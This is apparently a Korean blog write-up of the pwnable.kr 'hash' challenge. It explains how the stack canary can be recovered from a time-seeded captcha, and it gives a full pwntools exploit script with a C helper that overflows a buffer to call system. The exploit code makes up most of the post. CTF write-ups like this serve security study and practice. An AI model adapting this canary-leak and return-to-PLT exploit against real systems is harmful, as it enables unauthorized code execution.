bof 되길래 canary leak을 어디서 하지 보니까,

image

print 되는 값을 보니 canary도 더해진다. 그리고 srand 함수는 현재 시각을 seed로 받아서 우리가 알아낼 수 있다.

Exploit Code

from pwn import *

q=process('./system')
canary = int(q.recvline()[:-1], 16)

#p=process('./hash')
p=remote('pwnable.kr', 9002)

bss = 0x804b3b2
system_plt = 0x8048880

p.recvuntil(': ')
captcha = int(p.recvline()[:-1])

canary = captcha - canary
if canary < 0:
    canary = canary & 0xffffffff

p.success('canary : '+hex(canary))
p.sendline(str(captcha))

data = 'B'*0x200+p32(canary)+'A'*0xc
data += p32(system_plt)+'AAAA'+p32(bss)+'\xb2\xcb!'
data = data.encode('base64').replace('\n', '')

p.sendlineafter('!\n', data)

p.interactive()
//gcc -o system system.c
#include<stdio.h>
#include<time.h>
#include<stdlib.h>

int v[10];

int main(void){
    int a = time(0);
    srand(a);
    int total = 0;
    for(int i=0;i<=7;++i){
        v[2+i]=rand();
        //printf("%x\n", v[2+i]);
    }
    total = v[6]-v[8]+v[9]+v[4]-v[5]+v[3]+v[7];
    printf("%x\n", total);
} 

Capture the Flag

image

'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글

simple login  (0) 2020.03.07
rsa calculator  (0) 2020.03.07
fsb  (0) 2020.03.07
echo2  (0) 2020.03.07
echo1  (0) 2020.03.07

+ Recent posts